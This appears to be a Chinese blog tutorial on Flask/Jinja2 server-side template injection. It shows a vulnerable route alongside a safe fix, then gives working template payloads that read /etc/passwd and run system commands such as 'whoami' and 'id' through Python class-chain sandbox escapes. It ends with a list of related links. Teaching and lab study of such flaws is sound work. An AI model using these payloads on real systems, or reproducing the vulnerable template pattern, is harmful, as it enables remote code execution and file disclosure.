Flask(Jinja2) 服务端模板注入漏洞(SSTI)
flask
Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:
- Werkzeug 一个 WSGI 工具包
- jinja2 模板引擎
Flask简单易学,下面是Flask版的hello world(hello.py):
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"
if __name__ == "__main__":
app.run()
安装flask即可运行了:
$ pip install Flask
$ python hello.py
* Running on http://localhost:5000/
*flask默认端口是5000
Jinja 2
- Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
- Jinja2 是 Flask 框架的一部分。Jinja2 会把模板参数提供的相应的值替换了 {{…}} 块
- Jinja2 模板同样支持控制语句,像在 {%…%} 块中
{# This is jinja code
# 控制结构
{% for file in filenames %}
# 取值
{{ file }}
{% endfor %}
#}
Demo
from jinja2 import Template
t=Template('{% for i in range(10) %}{{ i }}{% endfor %}')
print t.render()
漏洞原理
先进入容器看一下web服务的代码
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
看到Template("Hello " +name),Template()完全可控,那么就可以直接写入jinja2的模板语言,如
当然发送这种情况不能由jinja2背锅,这完全是开发人员的编码不当,若我修改如下
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/safe")
def safe():
name = request.args.get('name', 'guest')
t = Template("Hello {{n}}")
return t.render(n=name)
if __name__ == "__main__":
app.run()
就不存在模板注入
Jinja2 的模板中执行 Python 代码
在jinja2中是可以直接访问python的一些对象及其方法的,如
字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数
那么如何在 Jinja2 的模板中执行 Python 代码呢?如官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块os,即需要在模板环境中对其注册
那么,如何在未注册OS模块的情况下在模板中调用popen()函数执行系统命令呢?前面已经说了,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法,用到常见的 Python 沙盒环境逃逸方法
利用 Python 特性
- __bases__
以元组返回一个类直接所继承的类- __mro__
以元组返回继承关系链- __class__
返回对象所属的类- __globals__
以dict返回函数所在模块命名空间中的所有变量- __subclasses__()
以列表返回类的子类- _builtin_
内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)
ps:在py3中__builtin__被换成了builtin
__builtin__ 和 __builtins__之间是什么关系呢?
- 在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。
- 非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
用file对象读取文件
不能像字符串对象,列表对象那样直接引用(''
[]
),那如何拿到file对象呢?就用上面给的属性和方法,如
for c in {}.__class__.__base__.__subclasses__():
if(c.__name__=='file'):
print(c)
print c('test.txt').readlines()
该代码从列表对象获取其类,再取基类(object),再取object的所有子类,从子类中寻找file类,如果找到就使用其构造方法创建对象后再用readlines读取文件内容
用jinja2语法就是
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{"find!"}}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}
在本机测试没有问题,但是在这个doker容器里不知道为什么找不见file类
emmm,经测试发现在python3中并没有file类,所以上述读取文件的方法只适用于python2
那么就有必要找到python2/3通用的方法,就直接找eval,有了这个还有什么不能做
寻找__builtins__得到eval
for c in ().__class__.__bases__[0].__subclasses__():
try:
if '__builtins__' in c.__init__.__globals__.keys():
print(c.name)
except:
pass
找到了一个python2/3都有__builtins__的类 _IterationGuard
于是python2/3通用的执行任意代码
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='_IterationGuard':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
用jinja的语法即为(执行命令使用os.popen('whoami').read()才有执行结果的回显)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
我本机上存在中文编码的问题,所以命令执行结果带中文的话会出错,所以就用echo l3yx展示下执行命令的效果
直接从globals中寻找eval
原理和上面大同小异,vulhub的文档中用的就是这种
payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
参考:
Server-Side Template Injection
利用 Python 特性在 Jinja2 模板中执行任意代码
用python继承链搞事情 (膜 Orz)
Flask(Jinja2) 服务端模板注入漏洞(SSTI)的更多相关文章
- SSTI服务端模板注入漏洞原理详解及利用姿势集锦
目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...
- Flask(Jinja2) 服务端模板注入漏洞
原理 参考文章: https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-R ...
- 有关于服务端模板注入(ssti攻击)——BUUCTF - easy_tornado
打开题目出现3个链接 /flag.txt 中提示flag in /fllllllllllllag /welcome.txt 中提示 render /hints.txt 中提示 md5(cookie_s ...
- SSTI-服务端模板注入漏洞
原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...
- 服务端模版注入漏洞检测payload整理
服务端模版注入漏洞产生的根源是将用户输入的数据被模版引擎解析渲染可能导致代码执行漏洞 下表涵盖了java,php,python,javascript语言中可能使用到的模版引擎,如果网站存在服务端模版注 ...
- 漏洞复现-Flask-SSTI服务端模板注入
0x00 实验环境 攻击机:Win 10 0x01 影响版本 Python利用的一些静态框架 0x02 漏洞复现 (1)实验环境:docker运行的vulhub漏洞环境 首先,可直接访问到页面的显 ...
- SSTI-服务端模板注入
SSTI-服务端模板注入漏洞 原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露. ...
- Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)
0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和 ...
- 安全测试5_服务端的安全漏洞(SQL注入、命令注入、文件操作类)
前面大致讲解了下客户端的安全漏洞,现在来讲解下服务端的安全漏洞. 1.SQL注入(SQL Injection),是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库 ...
随机推荐
- [CrackMe]160个CrackMe之015
吾爱破解专题汇总:[反汇编练习]160个CrackME索引目录1~160建议收藏备用 一.破解 该破解比较简单,其是一个静态密码 2G83G35Hs2 ,输入进去即可破解. 1)栈定位法找到用户代码 ...
- SpringCloud(四):使用Feign实现声明式服务调用
一.Feign介绍Feign是一个声明式的伪Http客户端,它使得写Http客户端变得更简单.使用Feign,只需要创建一个接口并注解.它具有可插拔的注解特性,可使用Feign 注解和JAX-RS注解 ...
- 【分享】git全套视频教程
1.课件 https://www.cnblogs.com/wfd360/p/10891140.html 2.教程列表 3.教程下载 3.1.直接在线学习 学习地址:https://study.163. ...
- pjd-fstest The test suite checks POSIX compliance - 测试文件系统posix 接口兼容性
pjd-fstest: 参考网址:https://www.tuxera.com/community/posix-test-suite/ fstest是一套简化版的文件系统POSIX兼容性测试套件,它可 ...
- Shell—输入输出重定向
大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端.一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端.同样,一个命令通常将其输出写入到标准输出,默 ...
- CCSpriteFrameCache的使用
配置环境:win7+Cocos2d-x.2.0.3+VS2012 CCSpriteFrameCache是帧缓存类. 通过plist文件导入图片 CCSpriteFrameCache::sharedSp ...
- Codeforces Round #584
传送门 A. Paint the Numbers 签到. Code #include <bits/stdc++.h> using namespace std; typedef long l ...
- Less(5)
考查点:双查询报错注入 1.先判断注入类型 (1)首先看到要求,要求传一个ID参数,并且要求是数字型的:?id=1 (2)再输入?id=1' 显示报错,报错多了一个单引号 (3)再输入?id=1'' ...
- BZOJ1391/LG4177 「CEOI2008」order 最大权闭合子图
问题描述 BZOJ1391 LG4177 题解 最大权闭合子图,本质是最小割 在任务和机器中间的边之前权值设为INF,代表不可违背这条规则 本题的租借就相当于允许付出一定代价,违背某个规则,只需要把中 ...
- tarjan图论算法
tarjan图论算法 标签: tarjan 图论 模板 洛谷P3387 [模板]缩点 算法:Tarjan有向图强连通分量+缩点+DAGdp 代码: #include <cstdio> #i ...